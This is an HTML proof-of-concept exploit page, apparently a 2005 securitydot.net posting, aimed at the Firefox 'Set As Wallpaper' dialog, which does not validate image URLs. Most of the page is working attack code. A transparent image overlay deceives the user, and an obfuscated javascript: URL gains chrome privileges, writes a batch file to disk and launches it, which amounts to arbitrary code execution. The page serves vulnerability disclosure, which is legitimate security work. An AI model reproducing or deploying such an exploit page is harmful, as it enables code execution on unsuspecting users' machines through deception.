Rated as : Critical
// Exploit by Michael Krax
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01
Transitional//EN">
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<head>
<title>Firewalling - Proof-of-Concept</title>
<script>
function stopload() {
// in some cases the javascript url never stops to load
// therefore we force a stop after the real image got loaded
window.setTimeout("window.stop()",1000);
}
</script>
</head>
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<div style="font-family:Verdana;font-size:11px;">
<div
style="font-family:Verdana;font-size:15px;font-weight:bold;">
Firewalling - Proof-of-Concept</div>
<div style="width:600px">
The "Set As Wallpaper" dialog takes the image url as a parameter
without validating it.
This allows to execute javascript in chrome and to run arbitrary code.
<br><br>
By using absolute positioning and the moz-opacity filter an attacker can
easily fool the
user to think he is setting a valid image as wallpaper.
<br><br>
Right click on the image and choose "Set As Wallpaper". The demo
requests
UniversalXPConnect rights, creates c:\booom.bat and launches the batch
file
that shows a directoy listing in a dos box (Windows only).
<br><br>
<div style="position:relative; width:300px;
height:250px;">
<img
src="javascript:/*-----------------------------*/eval('if(document.location.href.
substr(0,6)==\'chrome\'){netscape.security.PrivilegeManager.enablePrivilege(\'
UniversalXPConnect\');file=Components.classes[\'@mozilla.org/file/local;1\'].
createInstance(Components.interfaces.nsILocalFile);file.initWithPath(\'c:\\\\
booom.bat\');file.createUnique(Components.interfaces.nsIFile.NORMAL_FILE_TYPE,
420);outputStream=Components.classes[\'@mozilla.org/network/file-output-stream;
1\'].createInstance(Components.interfaces.nsIFileOutputStream);outputStream.init
(file,0x04|0x08|0x20,420,0);output=\'@ECHO
OFF\\n:BEGIN\\nCLS\\nDIR\\nPAUSE
\\n:END\';outputStream.write(output,output.length);outputStream.close();file.launch
();}else{void(0)}')" width="300" height="250"
alt="" border="0" style="position:
absolute; left:0px; top:0px; z-index:2; -moz-opacity:0;">
<img src="image.png" width="300"
height="250" alt="" border="0"
style="position:
absolute; left:0px; top:0px; z-index:1;"
onload="stopload()">
</div>
</div>
</body>
</html>
securitydot.net - 2005-07-12
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